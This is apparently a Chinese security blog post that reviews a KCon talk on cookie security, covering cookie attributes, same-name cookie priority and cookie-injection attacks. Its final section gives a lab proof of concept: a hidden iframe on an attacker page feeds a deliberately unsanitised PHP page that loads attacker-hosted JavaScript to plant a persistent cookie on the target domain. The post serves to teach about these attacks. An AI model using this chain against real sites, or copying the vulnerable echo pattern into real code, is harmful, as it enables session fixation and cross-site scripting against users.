對《cookie之困》的一些總結與思考

0x00 前言

早些時候在gayhub翻安全大會的paper，翻到了kcon的一些paper。

 

https://github.com/knownsec/KCon

從前輩們的paper中學到了很多，也產生了很多疑問。

這篇文章是對kcon 2015年清華大學網絡安全實驗室走馬前輩的《cookie之困》（https://github.com/knownsec/KCon/blob/master/2015/Cookie%20%E4%B9%8B%E5%9B%B0.pdf）所引起的一些總結和思考。

走馬前輩從中間人的攻擊角度給出了不少例子，對cookie的各個特性，場景應用研究的很是完全。

向前輩們致敬！！

 

0x02 cookie的用途

由於HTTP協議是無狀態的，即服務器不知道用戶上一次作了什麼，這嚴重阻礙了交互式Web應用程序的實現。在典型的網上購物場景中，用戶瀏覽了幾個頁面，買了一盒餅乾和兩瓶飲料。最後結賬時，因爲HTTP的無狀態性，不經過額外的手段，服務器並不知道用戶到底買了什麼。 因此Cookie就是用來繞開HTTP的無狀態性的「額外手段」之一。服務器能夠設置或讀取Cookies中包含信息，藉此維護用戶跟服務器會話中的狀態。
在剛纔的購物場景中，當用戶選購了第一項商品，服務器在向用戶發送網頁的同時，還發送了一段Cookie，記錄着那項商品的信息。當用戶訪問另外一個頁面，瀏覽器會把Cookie發送給服務器，因而服務器知道他以前選購了什麼。用戶繼續選購飲料，服務器就在原來那段Cookie裏追加新的商品信息。結賬時，服務器讀取發送來的Cookie就好了。
Cookie另外一個典型的應用是當登陸一個網站時，網站每每會請求用戶輸入用戶名和密碼，而且用戶能夠勾選「下次自動登陸」。若是勾選了，那麼下次訪問同一網站時，用戶會發現沒輸入用戶名和密碼就已經登陸了。這正是由於前一次登陸時，服務器發送了包含登陸憑據（用戶名加密碼的某種加密形式）的Cookie到用戶的硬盤上。第二次登陸時，（若是該Cookie還沒有到期）瀏覽器會發送該Cookie，服務器驗證憑據，因而沒必要輸入用戶名和密碼就讓用戶登陸了。

（來源於wiki）

 

0x03 cookie的分類

根據時效的分類，cookie通常分爲臨時cookie和永久cookie。

1，臨時cookie，存儲在內存中，關閉了瀏覽器，cookie也就失效了。不設置時效，默認爲臨時cookie。

2，永久cookie，存儲在硬盤中，根據expires/Max-Age設置的時效來存儲，到期了纔會失效。

 

0x04 cookie的屬性

根據rfc 6265標準，cookie擁有如下幾個個屬性。

1，name=value

name=value，就是咱們日常設置的cookie鍵值對，瀏覽器傳輸給服務器的時候也是傳輸這個鍵值對。

2，expires：絕對過時時間

若是這個屬性的值不能被轉換爲日期，客戶端會忽略該屬性。當同一個cookie兩次請求的expires值不相同時，新的可能會替換舊的。

3，Max-Age：相對過時時間,以秒爲單位。

若是該屬性的值不是數字，客戶端將不作處理。

4，path：指定了與cookie關聯在一塊兒的網頁。

默認狀況下，cookie會和建立它的網頁以及與這個網頁處於同一個目錄下的網頁和處於該目錄的子目錄下的網頁關聯，同時不能用這個屬性來肯定安全性

5，domain：若是沒有設置cookie的domain值，該屬性的默認值就是建立cookie的網頁所在的服務器的主機名

6，secure：它指定了在網絡上如何傳輸cookie值。

默認狀況下，cookie是不安全的，也就是說，他們是經過一個普通的、不安全的http連接傳輸的。可是若是將cookie標記爲安全的，那麼它將只在瀏覽器和服務器經過https或其餘安全協議連接是才被傳輸。這個屬性只能保證cookie是保密的。

7，httponly

設爲true後，只能經過http訪問，不能經過document.cookie獲取設定爲httponly的鍵值,防止xss讀取cookie。

因爲cookie是存放在客戶端（瀏覽器）的，因此具備寫時帶屬性，讀時無屬性的特性。

舉個栗子：

         服務端：Set-Cookie: user=r00tuser;domain=.cnblogs.com;path=/;

         傳輸：Cookie:user=r00tuser;

 

0x05 如何設置cookie

有兩種方式。

1，服務端

好比用php設置cookie，在taobao.com上設置一個1小時候後過時的cookie，鍵值對爲test=test。

<?php
     setcookie("test", "test", time()+3600, "/", ".taobao.com");
?>

2，js 設置一個1天后過時的cookie。

<script>var Days = 1; 
    var exp = new Date(); 
    exp.setTime(exp.getTime() + Days*24*60*60*1000);
    document.cookie='test=test;expires='+exp.toGMTString()+";domain=.taobao.com;path='/';";
</script>

cookie經過【name,doamin,path】來肯定其惟一性，假若三個屬性都同樣方爲同一個cookie。

 

0x06 cookie的一些基礎「特性」

引用走馬前輩的幾張圖：

 

0x07 cookie的一些問題

1，同名

當cookie遇到同名！

爲何會遇到同名呢？這就和cookie的機制有關了（寫時帶屬性，讀時無屬性）。

倘若遇到下面這種狀況就會產生同名了，

服務端代碼以下：

<?php
     setcookie("test", 'test1', time()+3600, "/", ".a.com");
     setcookie("test", 'test2', time()+3600, "/", "www.a.com");
?>

 就會產生這樣的cookie，兩個同名的cookie，但其實它們是不一樣的。由於cookie的惟一性是由[name,domain,path]來決定的，雖然name是一致的，可是其餘的不同。

當遇到同名的時候，後端應該怎麼處理呢？

rfc是這麼規定的：

也就是說沒有標準。其實這裏還有一個問題，瀏覽器傳輸同名cookie時，出現的前後順序是怎麼規定的呢？（後面會講到）

那麼就看大夥怎麼實現了。

而這個優先級順序就曾致使了很多問題。像是p神的這個例子.

知乎某處XSS+刷粉超詳細漏洞技術分析(https://www.leavesongs.com/HTML/zhihu-xss-worm.html)

 p神這裏利用的就是服務器Server對於cookie處理的優先級問題。

由於這裏用的是python，因此取的是後者。若是後端用的是php，那麼取的就是前者了。

若是後端用的是php，那麼這個時候，咱們要怎麼辦呢？有沒有什麼辦法改變咱們cookie的優先級？

 

0x08 cookie的優先級

根據rfc文檔

1，經過修改path。

好比這樣的一個頁面:http://a.com/sites/index.php?id=1

server 返回的cookie是這樣子的：Set-Cookie:user=r00tuser;domain=.a.com;path=/;

那麼咱們就能夠設置這樣的cookie：Set-Cookie:user=attacker;domain=.a.com;path=/sites/;

本地測試一下，後端php代碼：

<?php
     setcookie("user", 'r00tuser', time()+3600, "/", ".a.com");
     setcookie("user", 'attack', time()+3600, "/sites/", "www.a.com");
?>

傳輸順序：

2，同path的狀況下，經過建立時間修改優先級。

這個應該是沒有辦法的，由於後端建立確定會比用js建立的快。

走馬前輩的是在中間人攻擊的場景下才有效。

但其實有path這個已經足以。

 

0x09 cookie的攻擊與利用

在《cookie之困》paper中走馬前輩列舉了不少場景和例子。

好比https下，HSTS下應該如何利用與繞過。

https下能夠經過secure覆蓋cookie。

形成的問題有：

1，注入形成的xss。

源於對cookie的盲目相信，認爲cookie都是後端傳過來的。

好比我在某src也是發現了一個盲目相信cookie的問題，也正是由於這個，纔會引出後面對cookie的研究。

2，注入替換session，https頁面並不是一個頁面，多個頁面拼湊而成。

走馬前輩在pdf裏面講了不少，舉了很多例子。

好比京東的

 

好比gmail的

 

 還有某銀行的。。

 

3，面對HSTS的407注入攻擊（不是很懂）

找到了篇文章（http://blog.csdn.net/yanghuan313/article/details/53001332）

還有道哥的，但道哥的圖掛掉了（http://blog.chinaunix.net/uid-27070210-id-3254743.html）

 

4，通用性攻擊等

哪天出了個0day的時候，咱們就能夠利用domain，path精確控制攻擊點，進行批量攻擊了。

 

 5，穿越時間的炸彈

設置一個永久的cookie，控制好domain與path，就能達到穿越時間的效果了。這個雷埋下了，就看什麼是被人踩到了。

具體還請查看走馬前輩的paper。 

以上，是基於走馬前輩的一些總結。

 

0x10 cookie攻擊之遠程種植惡意cookie。

前輩的攻擊場景是基於中間人的，那麼咱們有沒有什麼辦法遠程攻擊?

好比說達到用戶瀏覽了惡意網站就種下惡意cookie的效果。

根據rfc 6265的標準

以www.domain.com爲例，H 爲www，D爲.domain.com
4.3.2  Rejecting Cookies

   To prevent possible security or privacy violations, a user agent
   rejects a cookie (shall not store its information) if any of the
   following is true:

   * The value for the Path attribute is not a prefix of the request-
     URI.
     PATH屬性的值不是請求URI的前綴。（意思是path必須是當前請求url的一個前綴，好比path=/ url=/sites/）
   * The value for the Domain attribute contains no embedded dots or
     does not start with a dot.
     域屬性的值不包含嵌入的點或不以點開頭。（意思是必須包含嵌入的.或者以.開頭） 
   * The value for the request-host does not domain-match the Domain
     attribute.
     （請求主機的值與域屬性不匹配。）
   * The request-host is a FQDN (not IP address) and has the form HD,
     where D is the value of the Domain attribute, and H is a string
     that contains one or more dots.
     （大概意思是標準域名中，頭部包含了一個或者多個.）
   Examples:

   * A Set-Cookie from request-host y.x.foo.com for Domain=.foo.com
     would be rejected, because H is y.x and contains a dot.
     （若是請求設置cookie domain=.foo.com 的主機是y.x.foo.com是會被拒絕的，由於頭部y.x包含了一個.）

1，直接經過attacker.com設置target.com的cookie？

rfc文檔第三條教你作人，實驗發現確實是不行的。（不管是經過js或者服務端來設置都是不行的）

2，滲透下target.com下的子域站點

可行，但成本高

3，找到子域或者目標域的xss（flash）

可行，成本相對會低一點

攻擊鏈應該是這樣子的：（以反射xss爲例）

本地實踐了一下：

a.com 爲 attacker

b.com:88 爲target.com

 

a.com目錄下的文件爲

 

evil.php代碼

<html>
    <iframe src="http://www.b.com:88/xss.php？id=http://www.a.com/evil.js" style="display:none" width="0" height="0"></iframe>>
</html>

evil.js

var Days = 1; 
var exp = new Date(); 
exp.setTime(exp.getTime() + Days*24*60*60*1000);
document.cookie='test=setcookie from a.com by js;expires='+exp.toGMTString()+";domain=.b.com;path='/';";

 

b.com目錄下的文件爲：

xss.php代碼

<html>
<head>
<title>evil cookie xss</title>
</head>
<body>
    <script src="<?php echo $_GET['id'];?>">
    </script>
</html>

訪問一下a.com/evil.php,成功種下cookie。

 

 

 burp記錄了整個過程

 

其實原本xss就能玩cookie。。。這裏只是從cookie注入的角度去思考！

。。。

攻擊方法應該還有不少，但願大佬們可以給出更多的意見。

 

0x11 總結

向前輩致敬！緊跟大佬們的腳本，多看看rfc文檔~